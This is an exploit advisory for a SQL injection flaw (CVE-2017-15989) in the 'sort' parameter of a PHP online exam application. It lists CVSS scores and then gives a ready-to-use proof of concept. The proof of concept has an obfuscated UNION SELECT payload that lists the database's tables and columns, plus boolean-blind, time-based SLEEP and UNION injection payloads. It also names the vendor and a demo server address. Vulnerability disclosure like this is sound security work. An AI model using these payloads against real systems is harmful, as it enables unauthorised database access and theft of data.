Online Exam Test Application SQL Injection

2017.10.30
Credit: Ihsan Sencan
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# # # # # # Exploit Title: Online Exam Test Application - SQL Injection # Dork: N/A # Date: 30.10.2017 # Vendor Homepage: http://www.phpscriptsmall.com/ # Software Link: http://www.exclusivescript.com/product/1z2e4672468/php-scripts/online-exam-test-application # Demo: http://198.38.86.159/~onlineexamboard/ # Version: N/A # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: CVE-2017-15989 # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # http://localhost/[PATH]/resources.php?action=category&sort=[SQL] # # -8++/*!07777UNION*/+/*!07777SELECT*/+0x31,0x32,0x496873616e2053656e63616e,(/*!07777Select*/+export_set(5,@:=0,(/*!07777select*/+count(*)/*!07777from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!07777table_name*/,0x3c6c693e,2),/*!07777column_name*/,0xa3a,2)),@,2))--+- # # Parameter: sort (GET) # Type: boolean-based blind # Title: AND boolean-based blind - WHERE or HAVING clause # Payload: action=category&sort=8 AND 5525=5525 # # Type: AND/OR time-based blind # Title: MySQL >= 5.0.12 AND time-based blind # Payload: action=category&sort=8 AND SLEEP(5) # # Type: UNION query # Title: Generic UNION query (NULL) - 4 columns # Payload: action=category&sort=8 UNION ALL SELECT NULL,NULL,CONCAT(0x7176707a71,0x77654f6a51797a6c7755546b54574f68467842734c4268517654667a6e584e63634871574f4f454e,0x716b766a71),NULL-- Yhyw # # Etc.. # # # # #


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